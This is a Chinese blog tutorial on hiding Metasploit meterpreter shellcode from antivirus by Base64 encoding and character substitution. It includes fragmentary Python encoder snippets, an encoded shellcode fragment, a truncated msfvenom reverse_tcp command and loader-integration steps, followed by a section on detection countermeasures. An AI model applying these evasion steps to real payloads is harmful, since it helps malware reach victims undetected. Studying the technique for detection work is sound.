本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。
前言
在上一篇文章中,我们讨论了MSF免杀的整体架构和分层递进方案。本文将聚焦其中一个关键环节——Shellcode的加密与变换技术。
Shellcode是渗透测试中payload的核心载体,其原始形态(无论是Hex字符串还是二进制字节)都包含大量可被安全软件识别的特征码。如何对Shellcode进行加密变换,使其在传输和存储阶段不被特征匹配检出,是免杀技术的核心课题之一。
本文基于真实项目源码,讲解两种Shellcode加密方案:纯Base64编码方案,以及Base64+字符替换的组合方案。同时也会探讨AES加密的引入思路,帮助读者理解Shellcode加密的完整技术栈。
技术背景
Shellcode的特征码问题
安全软件检测Shellcode主要依赖以下方式:
- 特征码匹配:在文件中搜索已知的shellcode字节序列(如MSF生成的meterpreter头部特征)
- 熵值分析:高熵值(随机性高)的数据段可能被标记为可疑
- API调用序列监控:监控
VirtualAlloc→RtlMoveMemory→CreateThread的经典加载链 - AMSI扫描:扫描脚本中动态执行的内容
Base64编码的作用与局限
Base64编码可以将任意二进制数据转换为ASCII字符串(A-Z、a-z、0-9、+、/、=),其作用在于:
- 改变数据的外部表现形态,使原始Hex特征消失
- 增加逆向分析的步骤(需先识别Base64再解码)
- 便于在文本载体中传输
但标准Base64有明显局限:末尾的 = 填充符、固定的字符集都是容易被识别的特征。
字符替换增强
通过替换Base64中的特殊字符,可以破坏其标准特征:
| 原始字符 | 替换字符 | 说明 |
|---|---|---|
+ |
- |
URL安全变体风格 |
/ |
_ |
URL安全变体风格 |
= |
*/ |
破坏填充特征 |
这种替换在解码时需要逆向操作,既增加了分析难度,又破坏了Base64的正则匹配特征。
实现思路
整体方案分为两个阶段:
1 | 方案A:纯Base64编码 |
方案A侧重于理解Base64编解码的流程,方案B在此基础上增加一层字符变换以对抗特征检测。
核心代码解析
方案A:纯Base64编解码
以下代码展示了Shellcode从Hex到Base64的完整编解码流程:
1 | import base64 |
代码讲解:
bytes.fromhex():将Hex字符串转为原始二进制字节,这是shellcode的真实形态base64.b64encode():将二进制字节编码为Base64字符串,返回bytes类型base64.b64decode():将Base64字符串还原为二进制字节- 最后的
==比较用于验证整个编解码流程的完整性
运行后,Base64编码结果类似:
1 | Base64编码后的shellcode: /EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1Ig... |
方案B:Base64 + 字符替换
在Base64基础上增加字符替换层,以下是完整的加密与还原代码:
1 | import base64 |
关键点解析:
- 替换顺序:编码时
+ → -、/ → _、= → */;解码时必须逆向操作。注意*/的替换必须在最后处理,否则会与已替换的-、_冲突 - bytes操作:所有替换操作在bytes层面进行(
b'+'),避免字符串编码问题 - AES预留:代码顶部导入了
from Crypto.Cipher import AES,为后续引入AES对称加密做准备。AES加密可以进一步增加一层加密保护,即使攻击者识别出Base64变体,仍需AES密钥才能解密
替换前后的特征对比
标准Base64输出:
1 | /EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfA== |
字符替换后:
1 | _EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfA**/ |
可以看到,开头的 / 变成了 _,末尾的 == 变成了 */,标准Base64的正则特征被完全破坏。
使用方法与运行效果
生成原始Shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp \ |
加密处理
将Hex格式的shellcode粘贴到脚本的 shellcode 变量中,运行脚本即可获得加密后的字符串:
1 | python shellcode_encrypt.py |
输出示例:
1 | shellcode_replace_base64: |
最后的 True 表示编解码验证通过,数据完整性无损。
集成到加载器
将加密后的字符串嵌入到上一篇文章介绍的加载器中,配合ROT13混淆的 exec 加载器即可实现完整的免杀方案。
防御对策
- Base64变体检测:安全产品应支持检测URL安全变体Base64(
-和_`` 替代+和/`),以及自定义字符替换的Base64变体。可以通过熵值分析和字符频率分布识别经过变换的Base64数据 - 多层解码检测:对脚本中的
base64.b64decode、replace、fromhex等函数调用链进行行为监控。当检测到 “替换 → Base64解码 → 内存写入 → 线程创建” 的行为链时,应标记为高风险 - 内存扫描:无论shellcode经过多少层加密变换,最终在内存中执行时都会被还原为原始二进制。EDR应定期扫描进程的可执行内存区域,匹配已知shellcode特征
- AES密钥检测:如果使用AES加密,密钥通常硬编码在脚本中。安全产品可以扫描脚本中的密钥常量和
Crypto.Cipher相关导入 - 熵值分析:加密后的shellcode熵值接近随机数据(约8.0 bits/byte),安全产品可以对脚本中的高熵字符串进行标记和进一步分析
总结
本文从真实源码出发,详细讲解了Shellcode的两种加密方案。纯Base64编码是最基础的变换手段,通过字符替换可以进一步破坏Base64特征码,增加静态检测难度。
需要认识到,Base64和字符替换本质上都是编码变换而非真正的加密——它们不使用密钥,任何人都可以还原。真正的Shellcode加密应结合AES、RC4、XOR等对称加密算法,并配合动态密钥协商、环境密钥派生等技术,使攻击者即使在文件层面被捕获,也无法还原shellcode内容。
在实际的红队攻防中,Shellcode加密只是免杀体系的一个环节,还需配合加载器混淆、反调试反沙箱、内存加载、进程注入等技术形成完整的免杀链路。后续文章将继续探讨社会工程学相关工具的实现原理。